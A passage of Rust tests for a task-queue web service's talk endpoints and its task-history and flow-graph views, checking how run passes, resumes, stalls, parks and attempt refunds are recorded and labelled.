16028    async fn talk_close_makes_the_talk_refuse_further_turns() {
16029        let f = Fixture::start().await;
16030        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16031
16032        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16033        assert_eq!(closed.status, 200, "{}", closed.body);
16034        assert_eq!(closed.json()["status"], "closed");
16035
16036        // Idempotent: closing an already-closed talk is not an error.
16037        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16038        assert_eq!(closed_again.status, 200);
16039        assert_eq!(closed_again.json()["status"], "closed");
16040
16041        let said = f
16042            .post(
16043                &format!("/api/talks/{id}/say"),
16044                Some(r#"{"text":"too late"}"#),
16045            )
16046            .await;
16047        assert_eq!(said.status, 409, "{}", said.body);
16048    }
16049
16050    #[tokio::test]
16051    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16052        let (_tmp, _repo, f) = talk_fixture().await;
16053        let id = f.post("/api/talks", None).await.json()["id"]
16054            .as_str()
16055            .expect("id")
16056            .to_owned();
16057        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16058        assert_eq!(closed.status, 200, "{}", closed.body);
16059
16060        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16061        assert_eq!(reopened.status, 200, "{}", reopened.body);
16062        assert_eq!(reopened.json()["status"], "open");
16063
16064        // Idempotent: reopening an already-open talk is not an error.
16065        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16066        assert_eq!(reopened_again.status, 200);
16067        assert_eq!(reopened_again.json()["status"], "open");
16068
16069        let said = f
16070            .post(
16071                &format!("/api/talks/{id}/say"),
16072                Some(r#"{"text":"still there?"}"#),
16073            )
16074            .await;
16075        assert_eq!(
16076            said.status, 202,
16077            "a reopened talk accepts turns again: {}",
16078            said.body
16079        );
16080    }
16081
16082    #[tokio::test]
16083    async fn talk_reopen_on_an_unknown_id_is_404() {
16084        let f = Fixture::start().await;
16085        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16086        assert_eq!(res.status, 404, "{}", res.body);
16087    }
16088
16089    #[tokio::test]
16090    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16091        let f = Fixture::start().await;
16092        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16093
16094        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16095        assert_eq!(deleted.status, 204, "{}", deleted.body);
16096
16097        let after = f.get(&format!("/api/talks/{id}")).await;
16098        assert_eq!(after.status, 404, "{}", after.body);
16099
16100        let listed = f.get("/api/talks").await.json();
16101        assert!(
16102            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16103            "a deleted talk must not linger in the list: {listed}"
16104        );
16105    }
16106
16107    #[tokio::test]
16108    async fn talk_delete_on_an_unknown_id_is_404() {
16109        let f = Fixture::start().await;
16110        let res = f.delete("/api/talks/nonexistent-id").await;
16111        assert_eq!(res.status, 404, "{}", res.body);
16112    }
16113
16114    /// A task's page lists every run it ever had, in order, and says what kind
16115    /// of attempt each was - including a resume, which re-pushes the same run
16116    /// id, and a run whose record this build cannot read.
16117    #[tokio::test]
16118    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16119        let f = Fixture::start().await;
16120        let (a, b, gone) = (
16121            "20260902-140501-aaaa",
16122            "20260902-140502-bbbb",
16123            "20260902-140503-cccc",
16124        );
16125        write_run(&f.runs(), a, RunStatus::Stalled);
16126        let mut review = RunState::new(
16127            PathBuf::from("/repo/magi"),
16128            "main".to_owned(),
16129            "0123456789abcdef".to_owned(),
16130            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16131                .to_owned(),
16132            Config::default(),
16133        );
16134        review.id = b.to_owned();
16135        review.status = RunStatus::Merged;
16136        write_state(&f.runs(), &review);
16137
16138        let mut task = Task::new(
16139            "retry".to_owned(),
16140            "Do the thing".to_owned(),
16141            PathBuf::from("/repo/magi"),
16142            Source::Human,
16143        );
16144        task.start(a.to_owned());
16145        task.stall("quota");
16146        task.start(a.to_owned());
16147        task.start(b.to_owned());
16148        task.start(gone.to_owned());
16149        // This fixture models an older queue file with repeated run entries.
16150        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16151        f.queue().put(&mut task).expect("file the task");
16152
16153        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16154        assert_eq!(res.status, 200, "{}", res.body);
16155        let v = res.json();
16156        let h = v["history"].as_array().expect("history");
16157        assert_eq!(h.len(), 4, "{v}");
16158        assert_eq!(h[0]["kind"], "competition");
16159        assert_eq!(h[0]["status"], "stalled");
16160        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16161        assert_eq!(h[1]["kind"], "resume", "{v}");
16162        assert!(
16163            h[0]["outcome"]
16164                .as_str()
16165                .unwrap()
16166                .contains("unknown. Pass #2"),
16167            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16168        );
16169        assert!(
16170            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16171            "{v}"
16172        );
16173        assert!(
16174            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16175            "an unrecorded cause must not be narrated as an operator park: {v}"
16176        );
16177        assert_eq!(h[2]["kind"], "review");
16178        assert!(
16179            h[2]["description"]
16180                .as_str()
16181                .unwrap()
16182                .contains("magi/aaaa/A")
16183        );
16184        assert_eq!(h[2]["status"], "merged");
16185        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16186        assert_eq!(v["runs_unreadable"], 1);
16187        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16188        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16189        assert_eq!(nodes[4]["note"], "unreadable");
16190        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16191        assert_eq!(v["instruction"], "Do the thing");
16192        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16193
16194        // The run's own page links back to the task.
16195        let run = f.get(&format!("/api/runs/{a}")).await.json();
16196        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16197
16198        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16199    }
16200
16201    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16202        let mut s = RunState::new(
16203            PathBuf::from("/repo/magi"),
16204            "main".to_owned(),
16205            "0123456789abcdef".to_owned(),
16206            "Do it".to_owned(),
16207            Config::default(),
16208        );
16209        s.status = status;
16210        edit(&mut s);
16211        s
16212    }
16213
16214    fn flow_task(runs: &[&str]) -> Task {
16215        let mut t = Task::new(
16216            "t".to_owned(),
16217            "Do it".to_owned(),
16218            PathBuf::from("/repo/magi"),
16219            Source::Human,
16220        );
16221        for r in runs {
16222            t.start((*r).to_owned());
16223        }
16224        // Synthetic flows without RunPass records model legacy queue data.
16225        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16226        t
16227    }
16228
16229    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16230        let h = task_history(task, |id| {
16231            states
16232                .iter()
16233                .find(|(i, _)| *i == id)
16234                .and_then(|(_, s)| s.clone())
16235        });
16236        task_flow(task, &h, 5, None)
16237    }
16238
16239    #[test]
16240    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16241        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16242        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16243        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16244        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16245        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16246        let run = flow_run(RunStatus::Implementing, |s| {
16247            s.created_at = created;
16248            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16249            s.passes[0].started_at = first;
16250            s.passes[1].started_at = resumed;
16251        });
16252        let mut task = flow_task(&[RUN_X, RUN_X]);
16253        task.created_at = queued;
16254        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16255        task.status = TaskStatus::Held;
16256        task.held_at = Some(held);
16257        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16258        assert_eq!(
16259            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16260            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16261        );
16262        assert!(flow.nodes.iter().all(|n| n.time_expected));
16263        let json = serde_json::to_value(&flow).unwrap();
16264        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16265        assert_eq!(json["nodes"][2]["time_expected"], true);
16266    }
16267
16268    #[test]
16269    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16270        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16271        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16272        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16273        // These timestamps are not the start of the current status.
16274        task.held_at = Some(created);
16275        task.blocked_at = Some(created);
16276        for status in [
16277            TaskStatus::Queued,
16278            TaskStatus::Running,
16279            TaskStatus::Blocked,
16280            TaskStatus::Done,
16281            TaskStatus::Failed,
16282            TaskStatus::Parked,
16283            TaskStatus::Held,
16284        ] {
16285            task.status = status;
16286            if status == TaskStatus::Held {
16287                task.held_at = None;
16288            }
16289            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16290            assert_eq!(flow.nodes[1].started_at, Some(created));
16291            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16292            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16293            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16294            let json = serde_json::to_value(&flow).unwrap();
16295            assert!(json["nodes"][3]["started_at"].is_null());
16296            assert_eq!(json["nodes"][3]["time_expected"], true);
16297        }
16298    }
16299
16300    #[test]
16301    fn flow_context_links_do_not_expect_start_times() {
16302        let mut task = flow_task(&[]);
16303        task.source = Source::Agent {
16304            run: "chat-id".to_owned(),
16305            node: "chat".to_owned(),
16306        };
16307        let origin = followup_origin(&fu(None), |_| None, |_| None);
16308        let flow = task_flow(&task, &[], 5, Some(&origin));
16309        for node in &flow.nodes[..2] {
16310            assert!(!node.time_expected);
16311            assert_eq!(node.started_at, None);
16312        }
16313        assert!(flow.nodes[2].time_expected);
16314    }
16315
16316    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16317        crate::queue::FollowUp {
16318            run: "20260901-000000-aaaa".to_owned(),
16319            origin_task: origin_task.map(str::to_owned),
16320            pr: "https://example.com/o/r/pull/1".to_owned(),
16321            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16322                .map(str::to_owned)
16323                .to_vec(),
16324            generation: 1,
16325        }
16326    }
16327
16328    fn parent_task() -> Task {
16329        let mut p = flow_task(&[]);
16330        p.title = "Parent title".to_owned();
16331        p.status = TaskStatus::Done;
16332        p
16333    }
16334
16335    #[test]
16336    fn flow_opens_with_the_parent_task_of_a_followup() {
16337        let p = parent_task();
16338        let pid = p.id.clone();
16339        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16340        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16341        let n = &f.nodes[0];
16342        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16343        assert_eq!(
16344            n.label,
16345            format!("Follow-up of {}", crate::queue::short(&pid))
16346        );
16347        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16348        assert_eq!(n.status, Some("done"));
16349        assert_eq!(n.status_of, "task");
16350        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16351        assert_eq!(f.nodes[1].key, "start");
16352        assert_eq!(f.edges[0].from, "origin");
16353        assert_eq!(
16354            f.edges[0].label,
16355            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16356        );
16357    }
16358
16359    #[test]
16360    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16361        let o = followup_origin(
16362            &fu(Some("gone")),
16363            |_| None,
16364            |_| {
16365                Some(RunState::new(
16366                    std::path::PathBuf::from("."),
16367                    "main".to_owned(),
16368                    "0".to_owned(),
16369                    "t".to_owned(),
16370                    crate::config::Config::default(),
16371                ))
16372            },
16373        );
16374        assert!(o.parent.is_none());
16375        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16376        let n = &f.nodes[0];
16377        assert_eq!(n.status_of, "run");
16378        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16379        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16380    }
16381
16382    #[test]
16383    fn flow_followup_with_nothing_readable_has_no_link() {
16384        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16385        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16386        let n = &f.nodes[0];
16387        assert_eq!(n.href, None);
16388        assert_eq!(n.note, Some("unreadable"));
16389        assert!(!n.readable);
16390    }
16391
16392    #[test]
16393    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16394        let o = followup_origin(&fu(None), |_| None, |_| None);
16395        let mut t = flow_task(&[]);
16396        t.origin_chat = Some("c1".to_owned());
16397        let f = task_flow(&t, &[], 5, Some(&o));
16398        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16399        t.source = Source::Agent {
16400            run: "c1".to_owned(),
16401            node: crate::queue::CHAT_NODE.to_owned(),
16402        };
16403        let f = task_flow(&t, &[], 5, Some(&o));
16404        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16405        assert_eq!(
16406            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16407            ("chat", "origin")
16408        );
16409    }
16410
16411    #[test]
16412    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16413        let mut p = parent_task();
16414        p.id = "a b/c".to_owned();
16415        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16416        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16417    }
16418
16419    #[test]
16420    fn flow_opens_with_the_chat_that_queued_the_task() {
16421        let mut t = flow_task(&[]);
16422        t.source = Source::Agent {
16423            run: "a b/c".to_owned(),
16424            node: crate::queue::CHAT_NODE.to_owned(),
16425        };
16426        let f = flow_for(&t, &[]);
16427        assert_eq!(f.nodes[0].key, "chat");
16428        assert_eq!(f.nodes[0].kind, "chat");
16429        assert_eq!(
16430            f.nodes[0].label,
16431            format!("Chat {}", crate::queue::short("a b/c"))
16432        );
16433        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16434        assert_eq!(f.nodes[1].key, "start");
16435        assert_eq!(
16436            f.edges[0],
16437            FlowEdge {
16438                from: "chat".to_owned(),
16439                to: "start".to_owned(),
16440                label: "queued from chat".to_owned(),
16441                attempt: AttemptCost::None,
16442            }
16443        );
16444    }
16445
16446    #[test]
16447    fn flow_has_no_chat_box_for_other_sources() {
16448        for source in [
16449            Source::Human,
16450            Source::Issue {
16451                number: 3,
16452                repo: "o/r".to_owned(),
16453            },
16454            Source::Agent {
16455                run: "20260904-014455-ab12".to_owned(),
16456                node: "implement".to_owned(),
16457            },
16458        ] {
16459            let mut t = flow_task(&[]);
16460            t.source = source;
16461            let f = flow_for(&t, &[]);
16462            assert_eq!(f.nodes[0].key, "start");
16463            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16464            assert!(f.edges.iter().all(|e| e.from != "chat"));
16465        }
16466    }
16467
16468    const FA: &str = "20260902-140501-aaaa";
16469    const FB: &str = "20260902-140502-bbbb";
16470
16471    #[test]
16472    fn flow_follows_blocked_retry_merged_to_done() {
16473        let mut t = flow_task(&[FA, FB]);
16474        t.status = TaskStatus::Done;
16475        let f = flow_for(
16476            &t,
16477            &[
16478                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16479                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16480            ],
16481        );
16482        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16483        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16484        assert_eq!(f.edges.len(), 3);
16485        assert_eq!(f.edges[0].label, "claimed");
16486        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16487        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16488        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16489        assert_eq!(
16490            f.nodes[2].href.as_deref(),
16491            Some("#/runs/20260902-140502-bbbb")
16492        );
16493        assert!(f.nodes[2].decided);
16494    }
16495
16496    #[test]
16497    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16498        let quota = || {
16499            flow_run(RunStatus::Stalled, |s| {
16500                s.quota.push(crate::run::QuotaLoss {
16501                    cause: crate::agent::QuotaCause::UsageLimit,
16502                    agent: String::new(),
16503                    seat: "judge-1".to_owned(),
16504                    node: "judge".to_owned(),
16505                    at: Timestamp::now(),
16506                    reset: None,
16507                })
16508            })
16509        };
16510        let mut t = flow_task(&[FA, FA]);
16511        t.status = TaskStatus::Queued;
16512        let f = flow_for(&t, &[(FA, Some(quota()))]);
16513        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16514        assert_eq!(f.nodes[1].note, Some("interrupted"));
16515        assert_eq!(
16516            f.nodes[1].status, None,
16517            "no outcome copied onto an earlier pass"
16518        );
16519        assert_eq!(
16520            f.edges[1].attempt,
16521            AttemptCost::Unknown,
16522            "a resume does not prove the earlier pass was refunded"
16523        );
16524        assert!(f.edges[1].label.contains("resume the same run"));
16525        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16526        assert_eq!(
16527            f.edges[2].label,
16528            "stalled after a resume, refund unknown \u{2192} queued"
16529        );
16530        assert!(!f.nodes[2].decided, "a stall is not a decision");
16531        assert_eq!(f.nodes[2].note, Some("no verdict"));
16532    }
16533
16534    #[test]
16535    fn flow_single_pass_quota_stall_is_refunded() {
16536        let t = flow_task(&[FA]);
16537        let f = flow_for(
16538            &t,
16539            &[(
16540                FA,
16541                Some(flow_run(RunStatus::Stalled, |s| {
16542                    s.quota.push(crate::run::QuotaLoss {
16543                        cause: crate::agent::QuotaCause::UsageLimit,
16544                        agent: String::new(),
16545                        seat: "judge-1".to_owned(),
16546                        node: "judge".to_owned(),
16547                        at: Timestamp::now(),
16548                        reset: None,
16549                    })
16550                })),
16551            )],
16552        );
16553        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16554    }
16555
16556    #[test]
16557    fn flow_parked_refunds_and_stall_without_quota_spends() {
16558        let mut t = flow_task(&[FA]);
16559        t.status = TaskStatus::Queued;
16560        let f = flow_for(
16561            &t,
16562            &[(
16563                FA,
16564                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16565            )],
16566        );
16567        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16568        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16569        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16570        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16571        assert!(!f.nodes[1].decided);
16572    }
16573
16574    #[test]
16575    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16576        let t = flow_task(&[FA, FB]);
16577        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16578        assert_eq!(f.nodes[1].note, Some("unreadable"));
16579        assert!(!f.nodes[1].readable);
16580        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16581        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16582    }
16583
16584    #[test]
16585    fn flow_names_the_branch_of_a_review_only_run() {
16586        let t = flow_task(&[FA]);
16587        let f = flow_for(
16588            &t,
16589            &[(
16590                FA,
16591                Some(flow_run(RunStatus::Merged, |s| {
16592                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16593                })),
16594            )],
16595        );
16596        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16597        assert_eq!(
16598            f.nodes[1].detail.as_deref(),
16599            Some("review-only run of branch magi/x/A")
16600        );
16601    }
16602
16603    #[test]
16604    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16605        let mut t = flow_task(&[FA]);
16606        t.status = TaskStatus::Held;
16607        let pr = crate::run::PrRecord {
16608            url: "https://example.test/pr/1".to_owned(),
16609            number: 1,
16610            state: "open".to_owned(),
16611            checks: "green".to_owned(),
16612            round: 0,
16613            rounds: 3,
16614            red_at_merge: Vec::new(),
16615        };
16616        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16617        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16618        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16619        t.status = TaskStatus::Done;
16620        let f = flow_for(&t, &[(FA, Some(blocked))]);
16621        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16622    }
16623
16624    #[test]
16625    fn flow_with_no_runs_goes_from_queued_to_queued() {
16626        let t = flow_task(&[]);
16627        let f = flow_for(&t, &[]);
16628        assert_eq!(f.nodes.len(), 2);
16629        assert_eq!(f.edges.len(), 1);
16630        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16631        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16632    }
16633
16634    /// A run parked mid-flight keeps a non-terminal status; the page must
16635    /// still say why it stopped and that the attempt came back.
16636    #[test]
16637    fn a_parked_non_terminal_run_is_explained_as_parked() {
16638        let mut s = RunState::new(
16639            PathBuf::from("/repo/magi"),
16640            "main".to_owned(),
16641            "0123456789abcdef".to_owned(),
16642            "Do it".to_owned(),
16643            Config::default(),
16644        );
16645        s.status = RunStatus::Implementing;
16646        s.parked = true;
16647        let task = Task::new(
16648            "t".to_owned(),
16649            "Do it".to_owned(),
16650            PathBuf::from("/repo/magi"),
16651            Source::Human,
16652        );
16653        let v = task_run_view(
16654            "20260902-140501-aaaa",
16655            Some(&s),
16656            RunSlot {
16657                n: 1,
16658                resumed: false,
16659                resumed_later: None,
16660                prior: None,
16661                last: true,
16662                ..RunSlot::default()
16663            },
16664            &task,
16665        );
16666        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16667    }
16668
16669    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16670        let mut s = flow_run(RunStatus::Implementing, edit);
16671        s.parked = false;
16672        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16673        task_run_view(
16674            "20260902-140501-aaaa",
16675            Some(&s),
16676            RunSlot {
16677                n: 1,
16678                resumed: false,
16679                resumed_later: Some(2),
16680                prior: None,
16681                last: false,
16682                ..RunSlot::default()
16683            },
16684            &task,
16685        )
16686    }
16687
16688    #[test]
16689    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16690        let v = earlier_pass_view(|_| {});
16691        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16692        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16693        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16694        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16695        assert_eq!(v.exit, RunExit::Interrupted);
16696        assert_eq!(v.attempt, AttemptCost::Unknown);
16697    }
16698
16699    #[test]
16700    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16701        let v = earlier_pass_view(|s| {
16702            s.quota.push(crate::run::QuotaLoss {
16703                cause: crate::agent::QuotaCause::UsageLimit,
16704                agent: String::new(),
16705                seat: "judge-1".to_owned(),
16706                node: "judge".to_owned(),
16707                at: Timestamp::now(),
16708                reset: None,
16709            });
16710        });
16711        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16712        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16713        assert_eq!(v.attempt, AttemptCost::Unknown);
16714    }
16715
16716    #[test]
16717    fn the_current_pass_states_its_recorded_cause_and_cost() {
16718        let slot = || RunSlot {
16719            n: 1,
16720            resumed: false,
16721            resumed_later: None,
16722            prior: None,
16723            last: true,
16724            ..RunSlot::default()
16725        };
16726        let task = flow_task(&["20260902-140501-aaaa"]);
16727        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16728        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16729        assert_eq!(
16730            (v.exit, v.attempt),
16731            (RunExit::Parked, AttemptCost::Refunded)
16732        );
16733        let spent = flow_run(RunStatus::Blocked, |_| {});
16734        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16735        assert_eq!(v.attempt, AttemptCost::Spent);
16736        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16737    }
16738
16739    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16740        crate::run::RunPass {
16741            index,
16742            started_at: Timestamp::now(),
16743            resumed: index > 0,
16744            ended_at: end.as_ref().map(|_| Timestamp::now()),
16745            end,
16746            task_entry: true,
16747        }
16748    }
16749
16750    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16751        Some(crate::run::PassEnd::Parked { cause })
16752    }
16753
16754    fn upgrade_cause() -> crate::run::ParkCause {
16755        crate::run::ParkCause::Upgrade {
16756            from: "0.121.0".to_owned(),
16757            to: Some("0.121.1".to_owned()),
16758        }
16759    }
16760
16761    fn settled_pass(
16762        run: &str,
16763        index: usize,
16764        cost: crate::queue::PassCost,
16765    ) -> crate::queue::TaskPass {
16766        crate::queue::TaskPass {
16767            run: run.to_owned(),
16768            pass_index: index,
16769            started_at: None,
16770            cost,
16771            attempts_after: 1,
16772            settled_at: Timestamp::now(),
16773            parked: None,
16774        }
16775    }
16776
16777    const RUN_X: &str = "20261011-223708-4334";
16778
16779    #[test]
16780    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16781        use crate::queue::PassCost;
16782        let run = flow_run(RunStatus::Implementing, |s| {
16783            s.passes = vec![
16784                recorded_pass(0, parked(upgrade_cause())),
16785                recorded_pass(1, None),
16786            ];
16787        });
16788        let mut task = flow_task(&[RUN_X, RUN_X]);
16789        task.attempts = 1;
16790        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16791        let h = task_history(&task, |_| Some(run.clone()));
16792        assert_eq!(h.len(), 2);
16793        assert_eq!(h[0].kind, "competition");
16794        assert_eq!(h[1].kind, "resume");
16795        assert_eq!(
16796            (h[0].exit, h[0].attempt),
16797            (RunExit::Parked, AttemptCost::Refunded)
16798        );
16799        assert!(
16800            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16801            "{}",
16802            h[0].outcome
16803        );
16804        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16805        assert!(
16806            h[0].outcome.contains("pass #2 resumed the same run"),
16807            "{}",
16808            h[0].outcome
16809        );
16810        assert!(
16811            h[0].outcome.contains("pass 1 of 2 over run"),
16812            "{}",
16813            h[0].outcome
16814        );
16815        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16816        assert_eq!(
16817            h[0].exit_label,
16818            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16819        );
16820        let f = task_flow(&task, &h, 2, None);
16821        // Two passes of one run, one of two attempts consumed.
16822        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16823        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16824        assert!(
16825            f.edges[1].label.contains("upgrade 0.121.0"),
16826            "{}",
16827            f.edges[1].label
16828        );
16829        assert!(
16830            f.edges[1].label.contains("resume the same run"),
16831            "{}",
16832            f.edges[1].label
16833        );
16834        assert_eq!(f.nodes[1].note, Some("parked"));
16835    }
16836
16837    #[test]
16838    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16839        let mut a = flow_run(RunStatus::Implementing, |s| {
16840            s.passes = vec![
16841                recorded_pass(0, parked(upgrade_cause())),
16842                recorded_pass(1, None),
16843            ];
16844        });
16845        let mut b = flow_run(RunStatus::Failed, |s| {
16846            s.passes = vec![recorded_pass(0, None)];
16847        });
16848        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16849        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16850        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16851        let mut task = flow_task(&[]);
16852        task.start("a".into());
16853        task.start("b".into());
16854        task.start("a".into());
16855        assert_eq!(task.runs, ["b", "a"]);
16856        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16857        let h = task_history(&task, |id| {
16858            Some(if id == "a" { a.clone() } else { b.clone() })
16859        });
16860        assert_eq!(
16861            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16862            ["a", "b", "a"]
16863        );
16864        assert_eq!(h[0].attempt, AttemptCost::Refunded);
16865        assert!(h[0].outcome.contains("upgrade"));
16866        assert_eq!(h[2].kind, "resume");
16867        assert!(h[2].pass.is_some());
16868        // The old repeated-id format must show the same recorded passes.
16869        task.runs = vec!["a".into(), "b".into(), "a".into()];
16870        let old = task_history(&task, |id| {
16871            Some(if id == "a" { a.clone() } else { b.clone() })
16872        });
16873        assert_eq!(
16874            old.iter()
16875                .map(|v| (&v.id, &v.kind, v.attempt))
16876                .collect::<Vec<_>>(),
16877            h.iter()
16878                .map(|v| (&v.id, &v.kind, v.attempt))
16879                .collect::<Vec<_>>()
16880        );
16881    }
16882
16883    #[test]
16884    fn an_upgrade_whose_target_was_not_known_says_so() {
16885        let run = flow_run(RunStatus::Implementing, |s| {
16886            s.passes = vec![
16887                recorded_pass(
16888                    0,
16889                    parked(crate::run::ParkCause::Upgrade {
16890                        from: "0.121.0".to_owned(),
16891                        to: None,
16892                    }),
